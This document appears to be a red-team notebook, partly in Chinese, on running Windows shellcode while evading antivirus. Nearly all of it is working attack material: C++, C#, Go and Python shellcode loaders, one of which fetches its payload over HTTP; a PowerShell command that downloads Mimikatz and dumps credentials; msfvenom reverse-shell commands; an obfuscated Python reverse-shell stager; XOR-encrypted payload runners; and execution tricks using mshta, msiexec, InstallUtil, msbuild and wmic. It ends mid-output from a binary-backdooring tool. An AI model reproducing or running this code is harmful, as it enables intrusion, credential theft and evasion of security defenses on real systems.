#include "stdafx.h" #include "windows.h" using namespace std; int main(int argc, char **argv) { unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5" "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); return 0; } 

#include "stdafx.h" #include <string> #include <iostream> #include <windows.h> #include <winhttp.h> #pragma comment(lib,"winhttp.lib") #pragma comment(lib,"user32.lib") using namespace std; void main() { DWORD dwSize = 0; DWORD dwDownloaded = 0; LPSTR pszOutBuffer = NULL; HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; BOOL bResults = FALSE; hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (hSession) { hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0); } if (hConnect) { hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); } LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n"; SIZE_T len = lstrlenW(header); WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD); if (hRequest) { std::string data = "name=host&sign=xx11sad"; const void *ss = (const char *)data.c_str(); bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0); ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 ); } if (bResults) { bResults = WinHttpReceiveResponse(hRequest, NULL); } if (bResults) { do { // Check for available data. dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); break; } if (!dwSize) break; pszOutBuffer = new char[dwSize + 1]; if (!pszOutBuffer) { printf("Out of memory\n"); break; } ZeroMemory(pszOutBuffer, dwSize + 1); if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) { printf("Error %u in WinHttpReadData.\n", GetLastError()); } else { printf("ok"); } //char ShellCode[1024]; int code_length = strlen(pszOutBuffer); char* ShellCode = (char*)calloc(code_length /2 , sizeof(unsigned char)); for (size_t count = 0; count < code_length / 2; count++){ sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]); pszOutBuffer += 2; } printf("%s", ShellCode); //strcpy(ShellCode,pszOutBuffer); void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, ShellCode, sizeof ShellCode); ((void(*)())exec)(); delete[] pszOutBuffer; if (!dwDownloaded) break; } while (dwSize > 0); } if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession); system("pause"); } 

powershell IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >>c:\1.txt 

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of c file: 1457 bytes cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g" fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5 

using System; using System.Runtime.InteropServices; namespace TCPMeterpreterProcess { class Program { static void Main(string[] args) { // native function’s compiled code // generated with metasploit byte[] shellcode = new byte[333] { }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // prepare data IntPtr pinfo = IntPtr.Zero; // execute native code hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;  [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);  [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);  [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId );  [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle);  [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds );  [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName );  [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName );  [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName );  [DllImport("kernel32")] private static extern UInt32 GetLastError(); } } 

import base64,sys; import ctypes whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo='))) 

package main import "C" import "unsafe" func main() { buf := "" buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c" ...省略... buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2" // at your call site, you can send the shellcode directly to the C // function by converting it to a pointer of the correct type. shellcode := []byte(buf) C.call((*C.char)(unsafe.Pointer(&shellcode[0]))) } 

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt 

py -2 ConvertShellcode.py beacon.bin Shellcode written to shellcode.txt 0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13 cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8 gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA== Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl 

namespace mmfExeTwo { using System; using System.IO.MemoryMappedFiles; using System.Runtime.InteropServices; class Program { private delegate IntPtr NewDelegate(); // To handle the location by applying the appropriate type // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode // into the Memory Mapped File.  This allows the location of the opp code to be referenced later for execution private unsafe static IntPtr GetShellMemAddr() { // 64bit shell code.  Tested on a win10 system.  Injects "cmd -k calc" // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell" var shellcode = new byte[] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00 }; MemoryMappedFile mmf = null; MemoryMappedViewAccessor viewaccessor = null; try { /* The try block creates the MMF and assigns the RWE permissions  The view accessor is created with matching permissions  the shell code from GetShellMemAddr is written to MMF  then the pointer is gained and a delegate is created to handle pointer value  so that it can be passed in therms of the returned function */ mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute); viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute); viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length); var pointer = (byte*)0; viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer); var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate)); return func(); } catch { return IntPtr.Zero; } finally // You should always clean up after yourself :) { viewaccessor.Dispose(); mmf.Dispose(); } } static void Main(string[] args) { GetShellMemAddr(); } } } 

msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp Invoke-MMFml 

payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin

cat shellcode.bin |base64 -w 0 mshta.exe http://192.168.174.134 /qing.hta

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt

C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt
加载dll:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll

msiexec /y C:\qing.dll

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml

编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs

执行:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe

详细:
https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

wmic os get /FORMAT:"http://example.com/evil.xsl" 模板:
https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 ‐ f csharp

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

using System; using System.IO; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; using System.Security.Cryptography; using System.Runtime.InteropServices; namespace RunShellCode { static class Program { //============================================================================== // CRYPTO FUNCTIONS //============================================================================== private static T[] SubArray<T>(this T[] data, int index, int length) { T[] result = new T[length]; Array.Copy(data, index, result, 0, length); return result; } private static byte[] xor(byte[] cipher, byte[] key) { byte[] decrypted = new byte[cipher.Length]; for(int i = 0; i < cipher.Length; i++) { decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]); } return decrypted; } //-------------------------------------------------------------------------------------------------- // Decrypts the given a plaintext message byte array with a given 128 bits key // Returns the unencrypted message //-------------------------------------------------------------------------------------------------- private static byte[] aesDecrypt(byte[] cipher, byte[] key) { var IV = cipher.SubArray(0, 16); var encryptedMessage = cipher.SubArray(16, cipher.Length - 16); // Create an AesManaged object with the specified key and IV. using (AesManaged aes = new AesManaged()) { aes.Padding = PaddingMode.PKCS7; aes.KeySize = 128; aes.Key = key; aes.IV = IV; using (MemoryStream ms = new MemoryStream()) { using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write)) { cs.Write(encryptedMessage, 0, encryptedMessage.Length); } return ms.ToArray(); } } } //============================================================================== // MAIN FUNCTION //============================================================================== static void Main() { byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 }; string key = "qing"; string cipherType = "xor"; byte[] shellcode = null; //-------------------------------------------------------------- // Decrypt the shellcode if (cipherType == "xor") { shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); } else if (cipherType == "aes") { shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key)); } //--------------------------------------------------------------  // Copy decrypted shellcode to memory UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // Prepare data IntPtr pinfo = IntPtr.Zero; // Invoke the shellcode hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject  [DllImport("kernel32")] private static extern UInt32 VirtualAlloc( UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect );  [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId );  [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); } } 

import ctypes import sys import base64 #calc.exe #REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA== shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex")) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) 

import ctypes import sys #calc.exe #sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4" shellcode=bytearray(sys.argv[1].decode("hex")) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) 

kali@kali:~$ msfvenom -l encoder Framework Encoders [--encoder <value>] ====================================== Name Rank Description ---- ---- ----------- cmd/brace low Bash Brace Expansion Command Encoder cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Bourne ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder ruby/base64 great Ruby Base64 Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/xor_context normal Hostname-based Context Keyed Payload Encoder x64/xor_dynamic normal Dynamic key XOR Encoder x64/zutto_dekiru manual Zutto Dekiru x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglot manual BMP Polyglot x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/service manual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder x86/xor_dynamic normal Dynamic key XOR Encoder 

msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe 

Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet 

*] In the backdoor module [*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions [*] Loading PE in pefile [*] Parsing data directories [*] Looking for and setting selected shellcode [*] Creating win32 resume execution stub [*] Looking for caves that will fit the minimum shellcode length of 410 [*] All caves lengths: 410 ############################################################ The following caves can be used to inject code and possibly continue execution.
**Don't like what you see? Use jump, single, append, or ignore.** ############################################################ [*] Cave 1 length as int: 410 [*] Available caves: 1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609 3. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493 4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713 5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564 6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581 7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432 8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713 9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564 10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 